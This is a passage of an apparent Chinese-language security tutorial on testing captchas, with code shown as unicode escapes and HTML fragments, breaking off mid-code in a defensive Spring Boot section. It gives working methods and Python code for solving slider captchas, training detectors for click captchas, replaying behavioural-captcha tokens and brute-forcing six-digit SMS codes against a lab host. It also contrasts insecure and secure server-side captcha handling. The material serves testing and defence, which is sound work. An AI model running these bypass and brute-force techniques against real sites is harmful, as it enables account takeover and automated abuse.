    \u7ed5\u8fc7\u4e0e\u8fdb\u5316：\u5982\u679c\u9a8c\u8bc1\u7801\u52a0\u5165\u4e86\u7b80\u5355\u7684\u5e72\u6270\u7ebf\u3001\u626d\u66f2， Tesseract\u53ef\u80fd\u5931\u8d25\u3002\u6b64\u65f6\u9700\u8981\u66f4\u590d\u6742\u7684\u9884\u5904\u7406（\u5982\u4f7f\u7528OpenCV\u8fdb\u884c\u5f62\u6001\u5b66\u64cd\u4f5c\u53bb\u9664\u5e72\u6270\u7ebf）\u6216\u8bad\u7ec3\u4e13\u5c5e\u7684\u8bc6\u522b\u6a21\u578b\u3002<\/p>\n

    \u6d4b\u8bd5\u6848\u4f8b5：\u6ed1\u52a8\u62fc\u56fe\u9a8c\u8bc1\u7801<\/p>\n

    \u00b7 \u539f\u7406：\u7f3a\u53e3\u4f4d\u7f6e\u56fa\u5b9a\u6216\u53ef\u8ba1\u7b97\u3002 \u00b7 \u6b65\u9aa4：<\/p>\n

  • \u5206\u522b\u83b7\u53d6\u5e26\u7f3a\u53e3\u7684\u80cc\u666f\u56fe\u548c\u5b8c\u6574\u7684\u6ed1\u5757\u56fe\u3002<\/li>\n
  • \u4f7f\u7528OpenCV\u7684\u6a21\u677f\u5339\u914d(cv2.matchTemplate)\u6216\u56fe\u50cf\u5dee\u5206\u6280\u672f， \u8ba1\u7b97\u51fa\u7f3a\u53e3\u7684\u4f4d\u7f6e\u3002<\/li>\n
  • \u751f\u6210\u6ed1\u52a8\u8f68\u8ff9（\u53ef\u80fd\u9700\u6a21\u62df\u4eba\u7c7b\u52a0\u901f\u5ea6\u66f2\u7ebf\u4ee5\u5bf9\u6297\u524d\u7aef\u884c\u4e3a\u76d1\u6d4b）\u3002<\/li>\n
  • \u63d0\u4ea4\u6ed1\u52a8\u8ddd\u79bbdistance\u53c2\u6570（\u901a\u5e38\u4ee5\u50cf\u7d20\u4e3a\u5355\u4f4d）\u3002<\/li>\n

    # \u793a\u4f8b\u4ee3\u7801：\u8ba1\u7b97\u6ed1\u52a8\u7f3a\u53e3\u8ddd\u79bb (\u7b80\u5316\u7248)<\/span>
    \nimport<\/span> cv2
    \nimport<\/span> numpy as<\/span> np<\/p>\n

    def<\/span> get_slide_distance<\/span>(<\/span>bg_path,<\/span> slide_path)<\/span>:<\/span>
    \n """\u8ba1\u7b97\u6ed1\u5757\u9700\u8981\u79fb\u52a8\u7684\u8ddd\u79bb"""<\/span>
    \n bg_img =<\/span> cv2.<\/span>imread(<\/span>bg_path,<\/span> 0<\/span>)<\/span> # \u7070\u5ea6\u8bfb\u53d6\u80cc\u666f\u56fe<\/span>
    \n slide_img =<\/span> cv2.<\/span>imread(<\/span>slide_path,<\/span> 0<\/span>)<\/span> # \u7070\u5ea6\u8bfb\u53d6\u6ed1\u5757\u56fe<\/span><\/p>\n

    # \u4f7f\u7528\u6a21\u677f\u5339\u914d<\/span>
    \n result =<\/span> cv2.<\/span>matchTemplate(<\/span>bg_img,<\/span> slide_img,<\/span> cv2.<\/span>TM_CCOEFF_NORMED)<\/span>
    \n min_val,<\/span> max_val,<\/span> min_loc,<\/span> max_loc =<\/span> cv2.<\/span>minMaxLoc(<\/span>result)<\/span>
    \n # max_loc \u662f\u5339\u914d\u4f4d\u7f6e\u7684\u5de6\u4e0a\u89d2\u5750\u6807 (x, y)<\/span>
    \n return<\/span> max_loc[<\/span>0<\/span>]<\/span> # \u8fd4\u56dex\u5750\u6807，\u5373\u8ddd\u79bb<\/span><\/p>\n

    # \u81ea\u52a8\u5316\u4e0b\u8f7d\u56fe\u7247\u5e76\u8ba1\u7b97…<\/span>
    \ndistance =<\/span> get_slide_distance(<\/span>'background.png'<\/span>,<\/span> 'slider.png'<\/span>)<\/span>
    \nprint<\/span>(<\/span>f"\u9700\u6ed1\u52a8\u8ddd\u79bb: <\/span>{<\/span>distance}<\/span><\/span>px"<\/span><\/span>)<\/span><\/p>\n

    \u5bf9\u6297\u6027\u601d\u8003：\u9ad8\u7ea7\u7684\u6ed1\u52a8\u9a8c\u8bc1\u7801\u4f1a\u4f7f\u7528\u52a8\u6001\u6df7\u6dc6（\u968f\u673a\u5e72\u6270\u5757）\u3001\u80cc\u666f\u56fe\u4e0e\u6ed1\u5757\u56fe\u975e\u4e00\u4e00\u5bf9\u5e94\u3001\u6216\u8981\u6c42\u591a\u6b65\u6ed1\u52a8\u3002\u6b64\u65f6\u53ef\u80fd\u9700\u8981\u66f4\u590d\u6742\u7684\u56fe\u50cf\u7b97\u6cd5，\u751a\u81f3\u5f15\u5165\u6df1\u5ea6\u5b66\u4e60\u6765\u8bc6\u522b\u7f3a\u53e3\u7279\u5f81\u3002<\/p>\n

    \u6d4b\u8bd5\u6848\u4f8b6：\u70b9\u9009\u9a8c\u8bc1\u7801（\u5982\u201c\u8bf7\u70b9\u51fb\u56fe\u4e2d\u6240\u6709\u7684xx\u201d）<\/p>\n

    \u00b7 \u5de5\u5177：\u6df1\u5ea6\u5b66\u4e60（\u76ee\u6807\u68c0\u6d4b\u6a21\u578b， \u5982YOLO, Faster R-CNN）\u3002 \u00b7 \u6b65\u9aa4：<\/p>\n

  • \u6536\u96c6\u5927\u91cf\u8be5\u7ad9\u70b9\u7684\u70b9\u9009\u9a8c\u8bc1\u7801\u56fe\u7247，\u5e76\u8fdb\u884c\u4eba\u5de5\u6807\u6ce8（\u8fb9\u754c\u6846\u548c\u7c7b\u522b）\u3002<\/li>\n
  • \u4f7f\u7528TensorFlow\/PyTorch\u8bad\u7ec3\u4e00\u4e2a\u5b9a\u5236\u5316\u7684\u76ee\u6807\u68c0\u6d4b\u6a21\u578b\u3002<\/li>\n
  • \u5728\u751f\u4ea7\u73af\u5883\u4e2d，\u4f7f\u7528\u8be5\u6a21\u578b\u5bf9\u83b7\u53d6\u7684\u9a8c\u8bc1\u7801\u56fe\u7247\u8fdb\u884c\u63a8\u7406，\u83b7\u53d6\u9700\u8981\u70b9\u51fb\u7684\u5750\u6807\u5e8f\u5217\u3002<\/li>\n
  • \u5c06\u5750\u6807\u5e8f\u5217（\u901a\u5e38\u9700\u8981\u8f6c\u6362\u6210\u76f8\u5bf9\u4e8e\u56fe\u7247\u7684\u767e\u5206\u6bd4\u6216\u7279\u5b9a\u683c\u5f0f）\u63d0\u4ea4\u7ed9\u540e\u7aef\u3002 \u00b7 \u4ee3\u7801\u6846\u67b6\u793a\u610f（\u8bad\u7ec3\u90e8\u5206）：<\/li>\n

    # \u8fd9\u662f\u4e00\u4e2a\u9ad8\u5ea6\u7b80\u5316\u7684\u793a\u610f，\u5b9e\u9645\u8bad\u7ec3\u9700\u5927\u91cf\u6570\u636e\u548c\u8c03\u53c2<\/span>
    \nimport<\/span> tensorflow as<\/span> tf
    \n# \u4f7f\u7528 TensorFlow Object Detection API \u662f\u66f4\u5b9e\u9645\u7684\u9009\u62e9<\/span>
    \n# \u5047\u8bbe\u6211\u4eec\u5df2\u7ecf\u6709\u4e86\u6807\u6ce8\u597d\u7684\u6570\u636e\u96c6 `tfrecord` \u6587\u4ef6<\/span>
    \n# 1. \u9009\u62e9\u9884\u8bad\u7ec3\u6a21\u578b (\u5982 SSD MobileNet V2)<\/span>
    \n# 2. \u914d\u7f6e pipeline.config \u6587\u4ef6，\u6307\u5b9a\u7c7b\u522b\u3001\u8def\u5f84\u7b49<\/span>
    \n# 3. \u6267\u884c\u8bad\u7ec3\u547d\u4ee4（\u901a\u5e38\u5728\u547d\u4ee4\u884c）<\/span>
    \n# !python model_main_tf2.py –model_dir=my_model –pipeline_config_path=pipeline.config<\/span><\/p>\n

    \u8b66\u544a：\u6b64\u65b9\u6cd5\u9700\u8981\u5927\u91cf\u7684\u524d\u671f\u6570\u636e\u6536\u96c6\u548c\u6a21\u578b\u8bad\u7ec3\u5de5\u4f5c，\u5c5e\u4e8e\u9ad8\u7ea7\u6301\u7eed\u6027\u653b\u51fb\u7684\u8303\u7574\u3002\u9632\u5fa1\u65b9\u5e94\u5b9a\u671f\u66f4\u65b0\u9a8c\u8bc1\u7801\u7684\u56fe\u7247\u5e93\u548c\u8bc6\u522b\u7269\u79cd\u7c7b\u522b\u3002<\/p>\n

    \u6d4b\u8bd5\u6848\u4f8b7：\u77ed\u4fe1\/\u90ae\u4ef6\u9a8c\u8bc1\u7801<\/p>\n

    \u00b7 \u653b\u51fb\u9762：\u66b4\u7834\u3001\u9884\u6d4b\u3001\u6ee5\u7528\u3002 \u00b7 \u66b4\u7834\u6d4b\u8bd5：<\/p>\n

    # \u4f7f\u7528Burp Intruder\u6216Python\u811a\u672c\u8fdb\u884c\u66b4\u529b\u7834\u89e3<\/span>
    \nimport<\/span> requests
    \nimport<\/span> concurrent.<\/span>futures<\/p>\n

    base_url =<\/span> "http:\/\/vuln-captcha-lab:8080\/verify-sms"<\/span>
    \nphone =<\/span> "13800138000"<\/span>
    \n# \u5047\u8bbe\u6211\u4eec\u77e5\u9053\u9a8c\u8bc1\u7801\u662f6\u4f4d\u6570\u5b57<\/span>
    \ndef<\/span> try_code<\/span>(<\/span>code)<\/span>:<\/span>
    \n data =<\/span> {<\/span>'phone'<\/span>:<\/span> phone,<\/span> 'code'<\/span>:<\/span> f"<\/span>{<\/span>code:<\/span>06d<\/span>}<\/span><\/span>"<\/span><\/span>}<\/span>
    \n resp =<\/span> requests.<\/span>post(<\/span>base_url,<\/span> data=<\/span>data)<\/span>
    \n if<\/span> "success"<\/span> in<\/span> resp.<\/span>text.<\/span>lower(<\/span>)<\/span>:<\/span>
    \n print<\/span>(<\/span>f"[+] Found code: <\/span>{<\/span>code:<\/span>06d<\/span>}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n return<\/span> True<\/span>
    \n return<\/span> False<\/span><\/p>\n

    # \u8b66\u544a：\u6b64\u811a\u672c\u4ec5\u7528\u4e8e\u6388\u6743\u6d4b\u8bd5\u73af\u5883！\u771f\u5b9e\u73af\u5883\u53ef\u80fd\u89e6\u53d1\u544a\u8b66\u548c\u5c01\u9501\u3002<\/span>
    \n# \u4f7f\u7528\u7ebf\u7a0b\u6c60\u8c28\u614e\u6d4b\u8bd5，\u5e76\u8bbe\u7f6e\u5408\u7406\u7684\u5ef6\u8fdf\u548c\u5c1d\u8bd5\u6b21\u6570\u4e0a\u9650\u3002<\/span>
    \nwith<\/span> concurrent.<\/span>futures.<\/span>ThreadPoolExecutor(<\/span>max_workers=<\/span>5<\/span>)<\/span> as<\/span> executor:<\/span>
    \n futures =<\/span> {<\/span>executor.<\/span>submit(<\/span>try_code,<\/span> code)<\/span>:<\/span> code for<\/span> code in<\/span> range<\/span>(<\/span>1000000<\/span>)<\/span>}<\/span>
    \n # … \u5904\u7406\u7ed3\u679c (\u5b9e\u9645\u5e94\u66f4\u4f18\u96c5\u5730\u5904\u7406\u4e2d\u65ad\u548c\u7ed3\u679c\u6536\u96c6)<\/span><\/p>\n

    \u00b7 \u9884\u6d4b\u4e0e\u6ee5\u7528：\u68c0\u67e5\u9a8c\u8bc1\u7801\u662f\u5426\u57fa\u4e8e\u65f6\u95f4\u3001\u624b\u673a\u53f7\u7b49\u53ef\u9884\u6d4b\u56e0\u5b50\u751f\u6210（\u5982MD5(\u624b\u673a\u53f7+\u5206\u949f\u65f6\u95f4\u6233).substr(0,6)）\u3002\u68c0\u67e5\u201c\u91cd\u53d1\u201d\u63a5\u53e3\u662f\u5426\u65e0\u9650\u8c03\u7528\u3002<\/p>\n

    \u6d4b\u8bd5\u6848\u4f8b8：\u884c\u4e3a\u9a8c\u8bc1\u7801（\u65e0\u611f\u9a8c\u8bc1\/\u667a\u80fd\u9a8c\u8bc1）<\/p>\n

    \u00b7 \u539f\u7406：\u8fd9\u7c7b\u9a8c\u8bc1\u7801（\u5982\u67d0\u76fe\u3001\u67d0\u9a8c）\u4e0d\u76f4\u63a5\u7ed9\u51fa\u6311\u6218，\u800c\u662f\u901a\u8fc7\u91c7\u96c6\u7528\u6237\u5728\u9875\u9762\u7684\u9f20\u6807\u79fb\u52a8\u3001\u70b9\u51fb\u3001\u952e\u76d8\u4e8b\u4ef6\u7b49\u884c\u4e3a\u6570\u636e，\u7531\u540e\u7aefAI\u6a21\u578b\u5224\u65ad\u662f\u5426\u662f\u4eba\u7c7b\u3002 \u00b7 \u6d4b\u8bd5\u65b9\u6cd5：<\/p>\n

  • \u9006\u5411\u5206\u6790：\u4f7f\u7528\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177，\u5206\u6790\u5176\u52a0\u8f7d\u7684JavaScript SDK\u3002\u67e5\u627e\u521d\u59cb\u5316\u914d\u7f6e\u3001\u6570\u636e\u6536\u96c6\u548c\u6700\u7ec8\u63d0\u4ea4\u7684token\u6216validate\u53c2\u6570\u3002<\/li>\n
  • \u91cd\u653e\u653b\u51fb：\u83b7\u53d6\u4e00\u4e2a\u6709\u6548\u7684token，\u5c1d\u8bd5\u5728\u53e6\u4e00\u4e2a\u4f1a\u8bdd\u6216\u4e0d\u540cIP\u4e2d\u91cd\u653e\u4f7f\u7528\u3002<\/li>\n
  • \u6a21\u62df\u884c\u4e3a：\u4f7f\u7528Selenium\u7b49\u5de5\u5177，\u5c3d\u53ef\u80fd\u903c\u771f\u5730\u6a21\u62df\u4eba\u7c7b\u64cd\u4f5c（\u968f\u673a\u79fb\u52a8\u8f68\u8ff9\u3001\u52a0\u901f\u5ea6\u53d8\u5316\u3001\u5728\u6309\u94ae\u4e0a\u77ed\u6682\u505c\u7559\u7b49），\u7136\u540e\u63d0\u53d6\u751f\u6210\u7684token\u8fdb\u884c\u63d0\u4ea4\u3002<\/li>\n
  • \u53c2\u6570\u5206\u6790：\u63d0\u4ea4\u7684token\u662f\u5426\u5305\u542b\u4e86\u65f6\u95f4\u6233\u3001\u4f1a\u8bddID\u7b49\u4fe1\u606f？\u4fee\u6539\u8fd9\u4e9b\u4fe1\u606f\u662f\u5426\u4f1a\u5bfc\u81f4\u9a8c\u8bc1\u5931\u8d25？\u8fd9\u6709\u52a9\u4e8e\u7406\u89e3\u5176\u7ed1\u5b9a\u903b\u8f91\u3002<\/li>\n

    \u81ea\u52a8\u5316\u4e0e\u811a\u672c：\u4e00\u4e2a\u96c6\u6210\u7684\u9a8c\u8bc1\u7801\u6d4b\u8bd5\u6846\u67b6\u601d\u8def<\/p>\n

    \u4ee5\u4e0b\u662f\u4e00\u4e2a\u6982\u5ff5\u6027\u7684\u6846\u67b6\u7c7b\u8bbe\u8ba1，\u5c55\u793a\u4e86\u5982\u4f55\u5c06\u4e0d\u540c\u6d4b\u8bd5\u6a21\u5757\u7ec4\u7ec7\u8d77\u6765\u3002\u6ce8\u610f：\u6b64\u4e3a\u6559\u5b66\u793a\u4f8b，\u4e0d\u53ef\u76f4\u63a5\u7528\u4e8e\u975e\u6cd5\u6d4b\u8bd5\u3002<\/p>\n

    # \u8b66\u544a：\u672c\u4ee3\u7801\u4ec5\u4f9b\u6388\u6743\u73af\u5883\u4e0b\u7684\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\u3002<\/span>
    \n# captcha_tester_framework.py (\u6982\u5ff5\u6846\u67b6)<\/span><\/p>\n

    import<\/span> abc
    \nfrom<\/span> enum import<\/span> Enum
    \nimport<\/span> requests
    \nfrom<\/span> typing import<\/span> Optional,<\/span> Dict,<\/span> Any<\/p>\n

    class<\/span> CaptchaType<\/span>(<\/span>Enum)<\/span>:<\/span>
    \n IMAGE =<\/span> "image"<\/span>
    \n SLIDE =<\/span> "slide"<\/span>
    \n CLICK =<\/span> "click"<\/span>
    \n SMS =<\/span> "sms"<\/span>
    \n BEHAVIOR =<\/span> "behavior"<\/span><\/p>\n

    class<\/span> CaptchaTester<\/span>(<\/span>metaclass=<\/span>abc.<\/span>ABCMeta)<\/span>:<\/span>
    \n """\u9a8c\u8bc1\u7801\u6d4b\u8bd5\u5668\u62bd\u8c61\u57fa\u7c7b"""<\/span>
    \n def<\/span> __init__<\/span>(<\/span>self,<\/span> target_url:<\/span> str<\/span>,<\/span> session:<\/span> Optional[<\/span>requests.<\/span>Session]<\/span> =<\/span> None<\/span>)<\/span>:<\/span>
    \n self.<\/span>target_url =<\/span> target_url
    \n self.<\/span>session =<\/span> session or<\/span> requests.<\/span>Session(<\/span>)<\/span>
    \n self.<\/span>session.<\/span>headers.<\/span>update(<\/span>{<\/span>'User-Agent'<\/span>:<\/span> 'Mozilla\/5.0 Sec-Test-Framework'<\/span>}<\/span>)<\/span><\/p>\n

    @abc.<\/span>abstractmethod<\/span>
    \n def<\/span> fetch_challenge<\/span>(<\/span>self,<\/span> **<\/span>kwargs)<\/span> –<\/span>><\/span> Dict[<\/span>str<\/span>,<\/span> Any]<\/span>:<\/span>
    \n """\u83b7\u53d6\u9a8c\u8bc1\u7801\u6311\u6218（\u56fe\u7247\u3001\u53c2\u6570\u7b49）"""<\/span>
    \n pass<\/span><\/p>\n

    @abc.<\/span>abstractmethod<\/span>
    \n def<\/span> solve_challenge<\/span>(<\/span>self,<\/span> challenge_data:<\/span> Dict[<\/span>str<\/span>,<\/span> Any]<\/span>)<\/span> –<\/span>><\/span> Optional[<\/span>str<\/span>]<\/span>:<\/span>
    \n """\u89e3\u51b3\u6311\u6218，\u8fd4\u56de\u7b54\u6848（\u6587\u672c\u3001\u5750\u6807\u3001token\u7b49）"""<\/span>
    \n pass<\/span><\/p>\n

    @abc.<\/span>abstractmethod<\/span>
    \n def<\/span> submit_solution<\/span>(<\/span>self,<\/span> solution:<\/span> str<\/span>,<\/span> original_request:<\/span> Optional[<\/span>Dict]<\/span> =<\/span> None<\/span>)<\/span> –<\/span>><\/span> bool<\/span>:<\/span>
    \n """\u63d0\u4ea4\u7b54\u6848，\u5e76\u8fd4\u56de\u9a8c\u8bc1\u662f\u5426\u6210\u529f"""<\/span>
    \n pass<\/span><\/p>\n

    def<\/span> run_test<\/span>(<\/span>self,<\/span> **<\/span>kwargs)<\/span> –<\/span>><\/span> bool<\/span>:<\/span>
    \n """\u6267\u884c\u4e00\u6b21\u5b8c\u6574\u7684\u6d4b\u8bd5\u6d41\u7a0b"""<\/span>
    \n try<\/span>:<\/span>
    \n challenge =<\/span> self.<\/span>fetch_challenge(<\/span>**<\/span>kwargs)<\/span>
    \n solution =<\/span> self.<\/span>solve_challenge(<\/span>challenge)<\/span>
    \n if<\/span> solution:<\/span>
    \n return<\/span> self.<\/span>submit_solution(<\/span>solution,<\/span> kwargs.<\/span>get(<\/span>'original_request'<\/span>)<\/span>)<\/span>
    \n except<\/span> Exception as<\/span> e:<\/span>
    \n print<\/span>(<\/span>f"[-] \u6d4b\u8bd5\u8fc7\u7a0b\u51fa\u9519: <\/span>{<\/span>e}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n return<\/span> False<\/span><\/p>\n

    class<\/span> SimpleImageCaptchaTester<\/span>(<\/span>CaptchaTester)<\/span>:<\/span>
    \n """\u7b80\u5355\u56fe\u5f62\u9a8c\u8bc1\u7801\u6d4b\u8bd5\u5668（\u4f7f\u7528OCR）"""<\/span>
    \n def<\/span> __init__<\/span>(<\/span>self,<\/span> target_url,<\/span> ocr_engine=<\/span>'tesseract'<\/span>,<\/span> preprocess_func=<\/span>None<\/span>)<\/span>:<\/span>
    \n super<\/span>(<\/span>)<\/span>.<\/span>__init__(<\/span>target_url)<\/span>
    \n self.<\/span>ocr_engine =<\/span> ocr_engine
    \n self.<\/span>preprocess =<\/span> preprocess_func or<\/span> self.<\/span>_default_preprocess
    \n # \u521d\u59cb\u5316OCR\u5f15\u64ce…<\/span><\/p>\n

    def<\/span> fetch_challenge<\/span>(<\/span>self,<\/span> get_url:<\/span> str<\/span>,<\/span> **<\/span>kwargs)<\/span>:<\/span>
    \n resp =<\/span> self.<\/span>session.<\/span>get(<\/span>get_url)<\/span>
    \n # \u5047\u8bbe\u8fd4\u56de\u7684\u5c31\u662f\u56fe\u7247\u4e8c\u8fdb\u5236<\/span>
    \n return<\/span> {<\/span>'image_data'<\/span>:<\/span> resp.<\/span>content,<\/span> 'cookies'<\/span>:<\/span> self.<\/span>session.<\/span>cookies}<\/span><\/p>\n

    def<\/span> solve_challenge<\/span>(<\/span>self,<\/span> challenge_data)<\/span>:<\/span>
    \n image_data =<\/span> challenge_data[<\/span>'image_data'<\/span>]<\/span>
    \n # \u8c03\u7528\u9884\u5904\u7406\u548cOCR\u51fd\u6570<\/span>
    \n processed_img =<\/span> self.<\/span>preprocess(<\/span>image_data)<\/span>
    \n answer =<\/span> self.<\/span>_ocr(<\/span>processed_img)<\/span>
    \n return<\/span> answer<\/p>\n

    def<\/span> submit_solution<\/span>(<\/span>self,<\/span> solution,<\/span> original_request=<\/span>None<\/span>)<\/span>:<\/span>
    \n # \u5047\u8bbe\u6211\u4eec\u77e5\u9053\u63d0\u4ea4\u7684URL\u548c\u53c2\u6570\u683c\u5f0f<\/span>
    \n post_url =<\/span> self.<\/span>target_url +<\/span> "\/submit"<\/span>
    \n data =<\/span> {<\/span>'username'<\/span>:<\/span> 'test'<\/span>,<\/span> 'captcha'<\/span>:<\/span> solution}<\/span>
    \n resp =<\/span> self.<\/span>session.<\/span>post(<\/span>post_url,<\/span> data=<\/span>data)<\/span>
    \n return<\/span> resp.<\/span>status_code ==<\/span> 200<\/span> and<\/span> "success"<\/span> in<\/span> resp.<\/span>text.<\/span>lower(<\/span>)<\/span><\/p>\n

    # … \u5177\u4f53\u5b9e\u73b0 _default_preprocess, _ocr \u7b49\u65b9\u6cd5<\/span><\/p>\n

    # \u5de5\u5382\u6a21\u5f0f，\u6839\u636e\u9700\u8981\u521b\u5efa\u4e0d\u540c\u7684\u6d4b\u8bd5\u5668<\/span>
    \nclass<\/span> TesterFactory<\/span>:<\/span>
    \n @staticmethod<\/span>
    \n def<\/span> create<\/span>(<\/span>ttype:<\/span> CaptchaType,<\/span> **<\/span>kwargs)<\/span> –<\/span>><\/span> CaptchaTester:<\/span>
    \n if<\/span> ttype ==<\/span> CaptchaType.<\/span>IMAGE:<\/span>
    \n return<\/span> SimpleImageCaptchaTester(<\/span>**<\/span>kwargs)<\/span>
    \n # elif ttype == CaptchaType.SLIDE: …<\/span>
    \n else<\/span>:<\/span>
    \n raise<\/span> ValueError(<\/span>f"Unsupported captcha type: <\/span>{<\/span>ttype}<\/span><\/span>"<\/span><\/span>)<\/span><\/p>\n

    # \u4f7f\u7528\u793a\u4f8b<\/span>
    \nif<\/span> __name__ ==<\/span> "__main__"<\/span>:<\/span>
    \n # \u4ec5\u5728\u6388\u6743\u7684\u6d4b\u8bd5\u73af\u5883\u4e2d\u8fd0\u884c！<\/span>
    \n target =<\/span> "http:\/\/localhost:8080"<\/span>
    \n factory =<\/span> TesterFactory(<\/span>)<\/span>
    \n tester =<\/span> factory.<\/span>create(<\/span>CaptchaType.<\/span>IMAGE,<\/span> target_url=<\/span>target +<\/span> "\/captcha"<\/span>)<\/span>
    \n # \u914d\u7f6e\u66f4\u591a\u53c2\u6570…<\/span>
    \n success =<\/span> tester.<\/span>run_test(<\/span>get_url=<\/span>target +<\/span> "\/api\/captcha"<\/span>)<\/span>
    \n print<\/span>(<\/span>f"\u6d4b\u8bd5\u7ed3\u679c: <\/span>{<\/span>'\u6210\u529f'<\/span> if<\/span> success else<\/span> '\u5931\u8d25'<\/span>}<\/span><\/span>"<\/span><\/span>)<\/span><\/p>\n

    \n

    \u7b2c\u56db\u90e8\u5206：\u9632\u5fa1\u5efa\u8bbe \u2014\u2014 \u4ece\u201c\u600e\u4e48\u505a\u201d\u5230\u201c\u600e\u4e48\u9632\u201d<\/p>\n

    \u5f00\u53d1\u4fa7\u4fee\u590d：\u5b89\u5168\u7f16\u7801\u8303\u5f0f<\/p>\n

    \u5371\u9669\u6a21\u5f0f vs \u5b89\u5168\u6a21\u5f0f<\/p>\n

  • \u9a8c\u8bc1\u7801\u751f\u6210\u4e0e\u5b58\u50a8<\/li>\n

    \u00b7 \u5371\u9669\u6a21\u5f0f：\u9a8c\u8bc1\u7801\u7b54\u6848\u5b58\u50a8\u5728\u5ba2\u6237\u7aefCookie\u6216\u524d\u7aef\u5168\u5c40\u53d8\u91cf\u4e2d\u3002<\/p>\n

    \/\/ \u524d\u7aef\u751f\u6210（\u7edd\u5bf9\u7981\u6b62！）<\/span>
    \nvar<\/span> captcha =<\/span> Math.<\/span>floor<\/span>(<\/span>Math.<\/span>random<\/span>(<\/span>)<\/span>*<\/span>9000<\/span>+<\/span>1000<\/span>)<\/span>;<\/span>
    \ndocument.<\/span>getElementById<\/span>(<\/span>'hiddenCaptcha'<\/span>)<\/span>.<\/span>value =<\/span> captcha;<\/span><\/p>\n

    \u00b7 \u5b89\u5168\u6a21\u5f0f：\u670d\u52a1\u5668\u7aef\u751f\u6210， \u4e0e\u4f1a\u8bdd\u6216\u552f\u4e00\u4ee4\u724c\u5f3a\u7ed1\u5b9a， \u4f7f\u7528\u5b89\u5168\u7684\u7f13\u5b58（\u5982Redis）\u5e76\u8bbe\u7f6e\u77ed\u6709\u6548\u671f（\u59822-5\u5206\u949f）\u3002<\/p>\n

    \/\/ Spring Boot \u793a\u4f8b<\/span>
    \n@GetMapping<\/span>(<\/span>"\/captcha"<\/span>)<\/span>
    \npublic<\/span> void<\/span> generateCaptcha<\/span>(<\/span>HttpServletRequest<\/span> request,<\/span> HttpServletResponse<\/span> response)<\/span> {<\/span>
    \n String<\/span> captchaText =<\/span> generateRandomText<\/span>(<\/span>4<\/span>)<\/span>;<\/span> \/\/ \u751f\u6210\u968f\u673a\u6587\u672c<\/span>
    \n String<\/span> captchaKey =<\/span> UUID.<\/span>randomUUID<\/span>(<\/span>)<\/span>.<\/span>toString<\/span>(<\/span>)<\/span>;<\/span><\/p>\n

    \/\/ \u5b58\u50a8： key -> (text, timestamp)， \u6709\u6548\u671f5\u5206\u949f<\/span>
    \n redisTemplate.<\/span>opsForValue<\/span>(<\/span>)<\/span>.<\/span>set<\/span>(<\/span>
    \n "CAPTCHA:"<\/span> +<\/span> captchaKey,<\/span>
    \n captchaText,<\/span>
    \n Duration<\/span>.<\/span>ofMinutes<\/span>(<\/span>5<\/span>)<\/span>
    \n )<\/span>;<\/span><\/p>\n

    \/\/ \u751f\u6210\u56fe\u7247，\u5c06captchaKey\u8fd4\u56de\u7ed9\u524d\u7aef（\u5982\u653e\u5728\u56fe\u7247URL\u4e2d\u6216\u5355\u72ec\u63a5\u53e3\u8fd4\u56de）<\/span>
    \n \/\/ ImageIO.write(image, "png", response.getOutputStream());<\/span>
    \n \/\/ \u524d\u7aef\u63d0\u4ea4\u65f6，\u9700\u540c\u65f6\u63d0\u4ea4 captchaKey \u548c\u7528\u6237\u8f93\u5165\u7684\u7b54\u6848<\/span>
    \n}<\/span><\/p>\n

  • \u9a8c\u8bc1\u7801\u9a8c\u8bc1\u903b\u8f91<\/li>\n

    \u00b7 \u5371\u9669\u6a21\u5f0f：\u9a8c\u8bc1\u540e\u4e0d\u4f7f\u9a8c\u8bc1\u7801\u5931\u6548；\u9a8c\u8bc1\u903b\u8f91\u4e0e\u4e1a\u52a1\u903b\u8f91\u5206\u79bb，\u5b58\u5728\u7ed5\u8fc7\u53ef\u80fd\u3002<\/p>\n

    \/\/ \u9519\u8bef：\u9a8c\u8bc1\u540e\u672a\u5220\u9664key<\/span>
    \nString<\/span> storedText =<\/span> redisTemplate.<\/span>opsForValue<\/span>(<\/span>)<\/span>.<\/span>get<\/span>(<\/span>"CAPTCHA:"<\/span> +<\/span> key)<\/span>;<\/span>
    \nif<\/span> (<\/span>storedText !=<\/span> null<\/span> &&<\/span> storedText.<\/span>equalsIgnoreCase<\/span>(<\/span>userInput)<\/span>)<\/span> {<\/span>
    \n \/\/ \u6267\u884c\u767b\u5f55…<\/span>
    \n \/\/ \u5fd8\u8bb0\u5220\u9664 redis \u4e2d\u7684 key！<\/span>
    \n}<\/span><\/p>\n

    \u00b7 \u5b89\u5168\u6a21\u5f0f：\u9a8c\u8bc1\u64cd\u4f5c\u5fc5\u987b\u662f\u539f\u5b50\u7684\u3001\u72b6\u6001\u5316\u7684\u3002\u9a8c\u8bc1\u6210\u529f\u540e\u7acb\u5373\u4f7f\u8be5\u9a8c\u8bc1\u7801\u5931\u6548\u3002\u4e1a\u52a1\u903b\u8f91\u5fc5\u987b\u5728\u9a8c\u8bc1\u901a\u8fc7\u4e4b\u540e\u624d\u80fd\u6267\u884c\u3002<\/p>\n

    @PostMapping<\/span>(<\/span>"\/login"<\/span>)<\/span>
    \npublic<\/span> ResponseEntity<\/span><<\/span>?<\/span>><\/span><\/span> login<\/span>(<\/span>@RequestBody<\/span> LoginRequest<\/span> request)<\/span> {<\/span>
    \n \/\/ 1. \u5148\u9a8c\u8bc1\u9a8c\u8bc1\u7801<\/span>
    \n String<\/span> redisKey =<\/span> "CAPTCHA:"<\/span> +<\/span> request.<\/span>getCaptchaKey<\/span>(<\/span>)<\/span>;<\/span>
    \n String<\/span> storedText =<\/span> redisTemplate.<\/span>opsForValue<\/span>(<\/span>)<\/span>.<\/span>get<\/span>(<\/span>redisKey)<\/span>;<\/span><\/p>\n

    if<\/span> (<\/span>storedText ==<\/span> null<\/span>)<\/span> {<\/span>
    \n return<\/span> ResponseEntity<\/span>.<\/span>badRequest<\/span>(<\/span>)<\/span>.<\/span>body<\/span>(<\/span>"\u9a8c\u8bc1\u7801\u5df2\u8fc7\u671f"<\/span>)<\/span>;<\/span>
    \n }<\/span>
    \n if<\/span> (<\/span>!<\/span>storedText.<\/span>equalsIgnoreCase<\/span>(<\/span>request.<\/span>getCaptcha<\/span>(<\/span>)<\/span>)<\/span>)<\/span> {<\/span>
